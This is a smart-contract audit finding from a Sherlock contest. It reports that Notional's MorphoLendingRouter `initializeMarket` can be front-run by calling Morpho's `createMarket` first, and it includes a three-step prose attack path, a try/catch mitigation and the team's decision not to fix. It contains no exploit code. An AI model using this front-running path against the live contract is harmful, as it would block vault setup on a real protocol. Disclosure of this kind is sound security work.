Issue M-26: `initializeMarket` can be frontran, preventing markets from being configured in `MorphoLendingRouter`

Source:
https://github.com/sherlock-audit/2025-06-notional-exponent-judging/issues/834

This issue has been acknowledged by the team but won't be fixed at this time.

Found by

0xBoraichoT, 0xPhantom2, 0xRstStn, 0xodus, 0xpiken, Hueber, Ragnarok, X0sauce, coffiasd, dan__vinci, patitonar, underdog, xiaoming90, y4y

Summary

`initializeMarket` can be frontran, creating the same morpho market as the expected when initializing.

Root Cause

In MorphoLendingRouter.sol#L51, the router will try to initialize a market for a certain market params configuration. Note that `initializeMarket` is the only way to store data for the vault in the corresponding `s_morphoParams` mapping, and it is critical that this mapping is written to, as `marketParams()` wwill [fetch some of the data from the stored mapping(https://github.com/sherlock-audit/2025-06-notional-exponent/blob/main/notional-v4/src/routers/MorphoLendingRouter.sol#L59), and this function is used across the whole router contract.

The problem is that anybody can frontrun the initialization by directly calling morpho's `createMarket()` function, creating the same market. After that, the initialization will fail because Morpho ensures that the same market can only be created once. Because of this, markets initializations will be dos'ed, and the router won't be usable for the corresponding vault with the desired market params.

Internal Pre-conditions

None.

External Pre-conditions

None.

Attack Path

1. `upgradeAdmin` calls `initializeMarket`
2. Malicious user frontruns the call, calling Morpho's `createMarket` with the same market params as the initialization.
3. `initializeMarket` fails due to the check in market creation.

Impact

Medium, it is possible to DoS market initialization, which will prevent storing the corresponding market for the given vault, preventing such vault from being used.

PoC

No response

Mitigation

Consider implementing a `try/catch` statement. If the market creation fails, it will mean the market was already created, allowing configuration to still be performed

Discussion

jeffywu

While true, we won't fix this. It's highly unlikely to happen in practice. In the 0.000001% chance that someone actually does this, we would have to run an upgrade on the LendingRouter to set the parameters as a one off. This would require a 7 day upgrade window but it is not unrecoverable as suggested.

The more likely scenario is to protect against a finger gun where the function is called twice on accident by someone trying to set up a new vault.

Disclaimers

Sherlock does not provide guarantees nor warranties relating to the security of the project.

Usage of all smart contract software is at the respective users’ sole risk and is the users’ responsibility.